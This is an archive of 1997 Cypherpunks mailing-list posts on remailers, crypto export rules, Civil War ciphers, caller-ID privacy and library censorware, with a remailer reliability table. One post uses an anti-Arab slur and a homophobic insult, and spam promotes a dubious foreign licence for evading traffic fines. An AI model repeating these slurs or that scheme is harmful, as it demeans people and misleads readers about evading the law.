> other massively abused word "LOVE".  As far as I'm concerned
> the term "FREE WORLD" is as ambiguous as the sentence "I LOVE
> YOU."

But all the big idears have this problem,  Love, Freedom, tolerence, free
speech, peace and truth.  The good concepts are always ambiguous,  the
simple chouses are the ones you have to be worried about.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNJ5B0KQK0ynCmdStAQGnrgP+O8Hr1ZxWnlZUWkj0hFtm8kPpjFXSr6cb
VfGdUdDALuAmhclTyIu+Sn3B7ft9tZBz8PQTpBmzyQGJL6vEkoPmecPV49OgFeLj
y+pSv97uyJ5A/438V0t8s4rUjuS4lWL4vHFFXx1iJ0K1318XqPWBcqWhQIUt7oVV
8y4bJg0SmUk=
=rHZN
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Mon Dec 22 05:14:15 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 22 Dec 1997 21:14:15 +0800
Subject: What is Gary L. Burnore Afraid Of? (was: Anon asshole still has no proof)
In-Reply-To: <349dac5c.185107310@nntp.best.ix.netcom.com>
Message-ID: <199712221258.NAA28086@basement.replay.com>



gburnore at netcom.com (Gary L. Burnore) ranted:

> Still no proof that I am anti-remailer or support anti-remailers
> Still no proof that I am anti-privacy or support anti-privacy

You just provided it in the form of the Subject: line that YOU chose for
this post -- "Anon asshole still has no proof".
 
> Still accusations with no proof.  Continuous for about a year.  On and on and
> on.  Still no explination for why the whole thing started to begin with.
> Because what the anon asshole is _REALLY_ upset about is true reason for his
> obsession with me.
>                   
>  
> So the anon asshole won't answer. Can't answer. His/Her identity may become
> know if he/her reveals the true reason for a year of obsession.

Careful, Gary, your bigotry and paranoia are showing.  My "accusation" has
merely been at *ASK* you and Belinda Bryan why you demanded that Jeff Burchell
turn over the user logs from his Huge Cajones Remailer over to DataBasix and
what you intended to do with them after you obtained them.  It seems to be
you that's hiding the "true reason"
 for your own actions.

What "proof" does one need to ask a question or two?  Why do you resort to 
posting silly rants like this just to avoid answering those two questions?

You are the one making the ridiculous accusations without proof, that a
mythical "AnonAsshole " has supposedly done all matter of evil mischief
towards you.  And you conveniently try to discredit anyone who dares to 
criticize you anonymously of being this evil, mean ogre that you've invented.






From whgiii at invweb.net  Mon Dec 22 05:40:44 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Mon, 22 Dec 1997 21:40:44 +0800
Subject: Get your Anthrax shots
In-Reply-To: 
Message-ID: <199712221333.IAA02325@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/22/97 
   at 02:32 AM, Tim May  said:

>At 11:25 PM -0700 12/21/97, Lucky Green wrote:
>>Those of you in urban soft target areas, expecially any of you living or
>>working in DC or NYC, may want to consider getting vaccinated against
>>Anthrax. It might come in handy before long.
>>
>>>From an US Army (?) press release:
>>| The immunizations, requiring six shots over 18 months followed by annual
>>| booster shots, will begin next summer with 100,000 American troops in
>>the
>>| Gulf region and Korean peninsula.

>I thought these shots were "For Government Use Only."

>Seems like more and more things are being declared For Law Enforcement
>Use Only (causing we peons to have to pay more in the black markets and
>gun shows for the Good Stuff).

>Seriously, I'd guess that anyone showing up a doctor's office asking for
>an Anthrax series is pretty much guaranteeing they'll be reported to the
>Security Services.

Well I don't know about you Tim but my Doctors only know me as Mr. Cash.
:)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ5rtI9Co1n+aLhhAQLZlwQAknbdCpcLZ1fx/YXe7hGnjWAWusz//q+d
jy/JihA9p+nzpagOEk7MwtE4+c/EmeMQxSZi2G3opmxRWAO6qkw4XAlPcJ1bcNlW
JsBYJC9hz97s2Oyx/yXxhuf1t54mszSsOA3kW/8EElD3gtcRYraUgHuddNNnx7AP
+aUxLpp8d3A=
=ngpK
-----END PGP SIGNATURE-----






From paul at fatmans.demon.co.uk  Mon Dec 22 06:26:19 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 22 Dec 1997 22:26:19 +0800
Subject: The Joys of Being Canadian
In-Reply-To: <19971216232911.50392@math.princeton.edu>
Message-ID: 




> On a previous (shorter) stay in the US, I didn't have a SSN. Yet I got a
> DL (with my passport) (this was Missouri). And after a few long
> discussions on the phone on why I didn't have a SSN, I gave up the
> explanations and started giving my french SSN (after all, it was a valid
> answer to the question "what is your social security number"), actually
> a substring. Interestly enough, SSNs in France are not supposed to be
> used for identification or taxes purposes, just for medical purposes
> IIRC. A recent project by the government to link medical databases and
> tax database opened a controversial discussion...

It has not, until very recently, been common to use SSN or driver 
numbers in the UK as ID, I don`t know if they were or were not originally 
intended as ID in this country, I don`t think so, but was met with 
abusive argument and suspicion when I refused to give my SSN a few days 
ago as ID, look like the UK govt. is taking a leaf out of billy-bobs 
book, oh dear...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Mon Dec 22 06:27:58 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 22 Dec 1997 22:27:58 +0800
Subject: Identity, Persistence, Anonymity, and Accountability--Part I
In-Reply-To: 
Message-ID: 




>      You Own Your Own Posts: You own your own words. This means that you
>      are responsible for the words that you post to Nym and that
>      reproduction of those words without your permission in any medium
>      outside of the Nym mailing list may be challenged by you, the
>      author.

I am sure I need not outline for the members of the list the reasons why 
such copyright supporting drivel is not really in the spirit of the list, 
no-one owns my words, not me, nor anyone else, copyrights and patents 
infringe true free speech.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Mon Dec 22 06:34:00 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 22 Dec 1997 22:34:00 +0800
Subject: your mail
In-Reply-To: <4b9b4413a3c76c5844ee488a0193d669@anon.efga.org>
Message-ID: 




> If I live in the US and put the perl RSA code in
> my sig, then post in an international newsgroup,
> have I illegally exported encryption?

Yes, so, I believe under the EAR, has the admin of the newshost which 
sends the post out of the US.

> If I put that same code on my web site, then
> post requests to view my site in an
> international newsgroup, have I exported it?

Yes, I believe that is the case, the same applies to FTP, and any other 
similar protocol.

> What is the penalty for exporting powerful
> encryption?

Can`t recall, I`m sure someone here knows the EAR tariffs, it`s pretty 
steep but a. you wont get caught, and b. if you do, the prosecution is 
highly unlikely to be succesful.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From asgaard at cor.sos.sll.se  Mon Dec 22 06:40:06 1997
From: asgaard at cor.sos.sll.se (Asgaard)
Date: Mon, 22 Dec 1997 22:40:06 +0800
Subject: Get your Anthrax shots OR Jim Bell hits Sweden
In-Reply-To: 
Message-ID: 



On Mon, 22 Dec 1997, Tim May wrote:

>Seriously, I'd guess that anyone showing up a doctor's office asking
>for an Anthrax series is pretty much guaranteeing they'll be reported
>to the Security Services.

And unfortunately the long immunization period makes it
impossible to be ready when they let out Jim Bell very soon.

The Dec 21 issue of Dagens nyheter, Sweden's number
one morning paper, has a piece (in the science section)
on terrorism with biological weapons, how easy it is
to grow Anthrax, Irak, the Japaneese sect, all the
usual stuff. Two (2) biological terrorists are named
in this globally surveying research article:

1) Larry Wayne Harris, allegedly a microbiologist in
Ohio who was sentenced for the posession of 'three bottles'
of bubonic plague bacteria in 1995. Harris, said the article,
had been engaged in the rasist organization Aryan Nation.

2) Our own stinkbombing, taxavoiding, SSN-forging Jim Bell:

(translated)

***********************************************************
Last april, after several years of inquiries, the American
police arrested the chemist James Dalton Bell, who has an
education from the ruputable Massachusets Institute of
Technology. Bell had several containers with poisonous
chemicals in his garage. Right-wing extremist litterature
and bomb-making manuals were found in his car. When
interrogated, his acquaintances told that Bell had been
trying to manufactor botulinum toxin from green beens.
**********************************************************

It's interesting to see the story grow when journalists
quote from each other's sensationalist reports. Next time
they need a face for a story on nuclear terrorism, I guess
other devices might pop up retrospectively in Jim's garage.
Perhaps he even had a suitcase there.

Asgaard







From hot8762 at hotmail.com  Mon Dec 22 22:49:21 1997
From: hot8762 at hotmail.com (hot8762 at hotmail.com)
Date: Mon, 22 Dec 1997 22:49:21 -0800 (PST)
Subject: For Smart People Only!
Message-ID: <199712230749.BAA27413@ns.otb.com>


Do you need an International Driver's License?  

Before answering, ask yourself these questions!

Do I want to avoid points on my driver's license?

Do I want to avoid paying fines?

Do I want to avoid being forced to attend driver's 
education classes?

Would I like to show a foreign driver's license 
when I get stopped?

Would I like to show a foreign driver's license 
when I check into a hotel?

Would I like to show an International Driver's 
License to get admitted to night spots?

Would I like to have anonymous identification 
for private or other reasons?

If your answer is "Yes!" to any of these 
questions, you need a Macronesian International 
Driver's License!

For details on how to obtain a genuine Macronesian 
International Driver's License, call 1-602-735-3970
and leave your name, phone number, and best 
times to call you back.

/////////////////////////////////////////////////////
The above message was brought to you by PlusNet 
Marketing & Distributors.  We market or distribute any 
product or service by bulk E-mail and by traditional 
marketing media.  For information, call 1-513-763-3862.
/////////////////////////////////////////////////////






From ravage at ssz.com  Mon Dec 22 07:05:04 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 22 Dec 1997 23:05:04 +0800
Subject: Civil War Crypto Question... (fwd)
Message-ID: <199712221521.JAA17610@einstein.ssz.com>



Forwarded message:

> Date: Sun, 21 Dec 97 21:46:22 PST
> From: jim at mentat.com (Jim Gillogly)
> Subject: Re: Civil War Crypto Question...
> 
> Jim Choate skribis:

> > On pp. 43 - 44 [of Hagerman's "The American Civil War..."]
> > ... a 'cipher disk' whereby the Union was able to
> > change their telegraph codes on an hourly schedule. It was apparently very
> > effictive in dealing with taps and such.
> > 
> > Anyone know of another source that discusses this disk? I looked in Applied
> 
> There's a very brief mention of a disk in "Masked Dispatches: Cryptograms
> and Cryptology in American History, 1775-1900", available from the NSA
> Central Security Service.  (Series 1, Pre-World War 1, Volume 1, United
> States Cryptologic History), Center for Cryptologic History, by Ralph
> E. Weber, 1993.

Thanks for the reference.

> On page 110 he says: "The North, on the other hand, adopted a handy "on-line"
> means of changing the basic flag code by prearrangement or at will, even within
> the act of transmission.  This was done with a disk, in which the alphabet on
> the inner disk revolved against an outer ring of flag combination, enabling an
> instant change of code."
> 
> My impression from this and from the chapter summary is that the disk was
> used for flag codes but not telegraphy.  For telegraphy the Union apparently
> used a word-based route transposition that Friedman found unimpressive.

Actualy it was used for telegraphy and flags. You see Mahan, the inventor of
the disk had also just invented the first ever alphabetic flag system.
Because of this system, instead of the wig-wag system others used, McClellan
was the first general in history to change his orders of attack 3 times in 3
days *and* win the battle. The problem on the Peninsula was the land was too
flat and the woods too thick to use it (see my original references around the
same few pages).

Friedman? Who the hell is Friedman? None of my references has anyone by that
named listed, let alone involved.

McClellan was the general in charge of the Army of the Potomac. Meyer was in
charge of the Signal Corp, which at the time was responsible for tactical
communications for McClellan. Originaly Meyer intended to use his new flag
system but because the terrain, flat and wooded, on the Peninsula they found
they weren't reliable. They were also using the balloons from the Union
Aeronautic Department under Lowe. They were quite effective, haven't found
out if they used Meyer's signal system. The flip side was the fully civilian
Military Telegraph under Stager which handled strategic telegraphy was
fighting Meyer for control of the various communications along technological
boundaries. At this time, while they were fighting the South and each other,
they brought in some Beardslee equipment (a rail-based portable telegraph
system) which apparently didn't work well at all. The Beardslee system was
the first use by an American army of portable telegraph equipment, it ran
between McClellan's headquarters to Stoneman's at Mechanicsville. Apparently
one of the chief problems was that wagons and people kept cutting the lines. 

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From raph at CS.Berkeley.EDU  Mon Dec 22 07:05:11 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 22 Dec 1997 23:05:11 +0800
Subject: List of reliable remailers
Message-ID: <199712221450.GAA04087@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{'cyber'} = ' alpha pgp';
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = ' newnym pgp';
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = " cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = ' newnym pgp';
$remailer{"bureau42"} = " cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = " cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = " mix";
$remailer{"medusa"} = " mix middle"
$remailer{"McCain"} = " mix middle";
$remailer{"valdeez"} = " cpunk pgp pgponly hash ek";
$remailer{"arrid"} = " cpunk pgp pgponly hash ek";
$remailer{"hera"} = " cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = " cpunk pgp hash latent cut post ek";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera at juno.com             ------------  5:03:45  99.86%
nym      config at nym.alias.net             +*#**#**###       :34  95.82%
redneck  config at anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster at remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix at squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias at alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer at replay.com              ****   ***      10:06  94.93%
arrid    arrid at juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer at bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer at anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer at cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock at rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer at neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez at juno.com                               4:58:22 -36.97%
reno     middleman at cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From adam at homeport.org  Mon Dec 22 07:13:54 1997
From: adam at homeport.org (Adam Shostack)
Date: Mon, 22 Dec 1997 23:13:54 +0800
Subject: Frank Olson
In-Reply-To: <3.0.3.32.19971222014649.0069a4a4@popd.ix.netcom.com>
Message-ID: <199712221452.JAA16682@homeport.org>



Bill Stewart wrote:

| And email to some foreign destinations was inherently suspicious -
| like Swiss banks.  I once knew a guy who used a remailer for his
| mail to his bank - he'd mail it to Raoul at the Tijuana post office,
| who'd take the cash and mail the inner envelope to the bank.
| 
| Mail covers have been legal for a long time as well -
| as with pen registers on phones, they don't need a warrant to
| track your traffic.

	Theres an easy fix for this--write the return address on the
back of the envelope.  Perfectly legit, and makes them struggle to
show the return address matches the destination on the same bit of
mail.  Chain of evidence and all that.

	Like most easy fixes, its not complete.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From comsec at nym.alias.net  Mon Dec 22 07:32:45 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Mon, 22 Dec 1997 23:32:45 +0800
Subject: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <66iaur$foc$1@chronicle.austx.tandem.com>
Message-ID: <19971222152008.10111.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

gburnore at netcom.com (Gary L. Burnore) wrote:

> It's not clout, it's a capability. You can ask that many different types of
> numbers be blocked. You can ask that incomming and or outgoing be blocked
> _FROM_ _YOUR_ _HOME_ _PHONE_.

If your local telephone company will provide you with that service, that's 
great.  I suspect that it's not universally available, especially in Australia 
where the person I was replying to lives.  But, as you pointed out, you can 
always ASK.  The worst they can say is no -- or maybe "Chuck U. Farley", if 
you catch the customer "service" person in a bad mood. 

> :Second, as you can probably tell from his return address, Politas is located
> :in Australia, where different rules apply.
> :  
> Indeed, that's true.  Chances are however, that his phone company will catch
> up with the U.S. sooner or later. :)

Could be.  I was only trying to deal with the options available to him here and
now, just as I was dealing with the remailer network at it exists here and now.
The big difference between the two is that he PAYS to be connected to the
phone company's network, so that gives him a little bargaining power in
asking for certain features.

The remailers, in contrast, don't charge you for receiving mail and your two
existing options are to use the net as it currently exists or disconnect
yourself from it with a blocking request.

It's sort of like public television.  You've got a user community and a
much smaller support community.  Comments from users get considered, of
course, but I'm sure that suggestions from actual supporters carry a bit
more weight.

> :Just don't sign up for pager service with a company that blocks calls from
> :pay phones, then.
>  
> The latest scoop is those that don't block will find another way to pass the
> costs on to all subscribers.  Those that _DO_ block will allow the unblocking
> based on request from a user and that user's willingness to +pay+.

Of course.  One does have to make a decision whether its worthwhile to pay
the extra fee for the convenience of someone being able to page him toll-free 
from a pay phone.  Those who don't allow SELECTIVE blocking and who pass the
costs on to all subscribers will eventually lose most of their customers who 
don't want to subsidize a service they don't want or use.  Their prices will
become non-competitive.

> :I figure if an extra 18.5 cents is going to make that much of a difference to
> :me, I probably didn't want to talk to that person that badly, anyway.  So I'd
> :either opt to not pay extra for 800 access, and let people page me at their
> :own expense, or else be more selective who I gave my toll-free access 
> :number to. 
>           
> That would make _WAY_ too much sense now wouldn't it?

Just like the internet, there are a lot of newbies to pagers, cell phones, PCS,
etc. who don't know all their available options.  That will change with time.
But if you get your "expert advice" from the sales droid of the week at your 
local Radio Shack...

> :I have a friend who has basic pager service with a local, non-toll-free
> :access number.  He also has separate 800 service that rings through to his
> :pager number.  The more expensive 800 number is given out more selectively
> :than the local number.
>  
> Precicely.  However, the original discussion was not what pager companies
> would or wouldn't want to do with the ability to block payphones, the issue is
> whether it's not only possible (it is) but is it available to anyone. THe
> answer to the second one is becomming yes in more areas as tine goes by.  You
> can even block anyone who doesn't display their caller id number.  Of course,
> then if you blocked your own number from displaying to protect yourself, your
> friends who block unannounced numbers to protect themselves wouldn't get to
> talk to you. 
>  
>    
> Oh, one other thing.  It's NOT difficult to trace a phone number anymore. Even
> though pressing *69 won't always give you the number that called you, the 
> phone company +can+ still track the number to it's source.

Technology is currently progressing faster than our human protocols can keep
up with.  But I'm confident that the lag time will be relatively short.  For 
example, people have now adapted their own sense of manners and propriety to 
deal with such things as unsolicited calls from telemarketers.  When someone
calls you, it's usually impolite to hang up on them.  Many now make an
exception for junk calls from telemarketers.  Some phone company even offer
a service where you can press a *xx code, hang up, and the telemarketer will
be told that you don't accept such calls and be requested to add your number to
his do not call list.

There was an ongoing debate a few years ago when caller ID was first introduced
involving the usage of caller ID, caller ID blocking, and even "blocker
blocking".  Ultimately when it's all sorted out we'll wind up with more choices
than we had to start with.  The phone number that you're calling from is now
an item of data which can be OPTIONALLY transmitted along with the phone call.
And the omission of that data, by way of caller ID blocking, is itself a
data item.  The technology exists to take certain actions based on that data
interchange.  The hardest part is DECIDING how one wishes to use that data.
Will I accept calls with caller ID blocked?  Will I block caller ID on my
outgoing calls by default?  Will I create an access list of calls of numbers
allowed to ring my phone?  Will I block the blocked calls altogether or merely
divert them to my answering machine for screening?

Perhaps this serves as a useful model in analyzing anonymous communications in
general, particularly e-mail.  Are people who e-mail anonymously or who call
from pay phones to be considered "criminals" or otherwise viewed with
suspicion?  Should we require some form of positive identification, such as
a government issued and escrowed crypto key, to authenticate all forms of
communications, even calls from pay phones?

As you've probably guessed, I'm against limiting those options.  People who
wish to communicate anonymously (truly anonymously, not the model suggested
where you reveal your identity to someone and have to trust him to keep it
confidential) should be allowed to do so.  And people who don't wish to 
receive such communications should have the option of not receiving them.

The unblockable call tracing technologies you've mentioned will make the use
of pay phones more popular with people who value their privacy.  Like
unlisted numbers, the security of the data gathered by such systems is no
greater than the willingness of a telco employee to refuse a bribe.  Watch for
even more proposals to make the use of pay phones less convenient or less
private.  It's already happening.  Some large cities, for example, have
strongarmed the phone companies to replace the normal push button pay phones
with the old rotary dial style just to prevent people from using them to page
drug dealers!  Of course, you can't use them to page anyone else, either, or
to access your own voice mail, or avail yourself of any service that utilizes
data entry via DTMF tones.  All in the name of "keeping us safe".

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJ56kgbp0h8ZvosNAQFTWwf9Hhhwl1Q6SB42fWZzC1BdDOlmtR6W1+AU
GxDOCU/2CEEnUVrF/9tsYk1eAPkPCgFmnevydb/7a+DOo1XpvX3itMwW4FOqSyPn
rLzG6MbddEORGNRVcMQAD+aF+Uvqnh8cU5GrvEe0jp66p/wz6YvpeXwHcIzbmN20
A+pXz7KNrlB9RzVr/46QubjO/VrQe0JW60SMUbHpBXpV/rHv2MzN0Fla2qYqw5Ki
kOnhI2+lCzLpKPvCvM4uHJ3fBLg79+m/LTRdL10uFvngB5wlEXaWffYZOfFk+SaX
v0IxfpOZouLJ36iBfH960o6dcDtR/G69+LkgyJpsWCEB69jP9xON1g==
=Ih9r
-----END PGP SIGNATURE-----






From declan at well.com  Mon Dec 22 07:36:50 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 22 Dec 1997 23:36:50 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
Message-ID: 




=======

The Netly News (http://netlynews.com/)
December 22, 1997

SPECIAL REPORT: Censorware in the Stacks
by Declan McCullagh (declan at well.com)

     Antiporn crusaders and free speech advocates have
locked horns for years over whether public libraries may
cordon off large portions of the Internet. A lawsuit to be
filed today against a Virginia county promises to answer
that question and set new guidelines for free speech in the
stacks.

     Mainstream Loudoun, a local group, and 11 other
plaintiffs are challenging Loudoun County's decision to
adopt one of the country's most iron-handed Internet
policies, The Netly News has learned. In October, the
library board voted to buy software called X-Stop that
forbids both children and adults from visiting many
sexually explicit web sites -- and plenty of innocuous ones
too, such as Quaker and AIDS resources.

     The plaintiffs hope to persuade a federal judge that
X-Stop's overzealousness violates not just traditions of
intellectual freedom in libraries, but the First Amendment
as well. The 47-page complaint, which calls the
restrictions "a harsh and censorial solution in search of a
problem," also challenges a rule encouraging librarians to
look over your shoulder and make snap judgments on which
web sites should be off limits.

[...]








From paul at fatmans.demon.co.uk  Mon Dec 22 07:53:24 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 22 Dec 1997 23:53:24 +0800
Subject: Hate speech and censorship
In-Reply-To: 
Message-ID: 




> Sameer is also notorious for making legal threats against those who question
> the security of the crypto software he peddles. The fact that he dispatches
> his shysters to make threats, instead of even trying to answer our concerns
> with facts, shows how much he himself believes in his products.

Yes, those on the list a few months ago (around the time the list moved 
from cocksucker John Gilmores toad.com to the distributed list format) 
will remember censorous arab Sameer Parekh for sending abusive mail 
threatening legal action to those who criticised the security of his 
companies "stronghold" firewall, which I among others suspect to contain 
govt. backdoors, uneducated and foolish arabs such as Parekh should stick 
to what they do best: running kebab shops and/or selling cheap fake rolex 
watches to tourists. 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From ravage at ssz.com  Mon Dec 22 07:53:35 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 22 Dec 1997 23:53:35 +0800
Subject: Completely anonymous communications ARE only for "Criminals" (fwd)
Message-ID: <199712221607.KAA17862@einstein.ssz.com>



Forwarded message:

> Date: 22 Dec 1997 15:20:08 -0000
> From: Charlie Comsec 
> Subject: Re: Completely anonymous communications ARE only for "Criminals" 

> Technology is currently progressing faster than our human protocols can keep
> up with. 

Spin-doctor bullshit. Technology is *created* by people. When the day comes
where we don't understand it we will quit making progress at the rate we
are. It *is* true that if you spend your days watching Opra and your nites
watching some cop-show then you will have no clue as to what is going on.
To understand technology *requires* activity and participation, something
that people are becoming less and less inclined to do when they can go flip
on their PlayStation or play Quake 2 and claim to be on the bleeding edge...

Posers, lamers, and wanna-be's.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec 22 08:15:03 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 00:15:03 +0800
Subject: Hate speech and censorship (fwd)
Message-ID: <199712221620.KAA18039@einstein.ssz.com>



Forwarded message:

> Date: Mon, 22 Dec 1997 14:46:08 +0000 (   )
> From: Paul Bradley 
> Subject: Re: Hate speech and censorship

> Yes, those on the list a few months ago (around the time the list moved 
> from cocksucker John Gilmores toad.com to the distributed list format) 

Dude, that was well over a year ago...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec 22 08:40:42 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 00:40:42 +0800
Subject: Civil War Crypto Question... (fwd)
Message-ID: <199712221658.KAA18167@einstein.ssz.com>



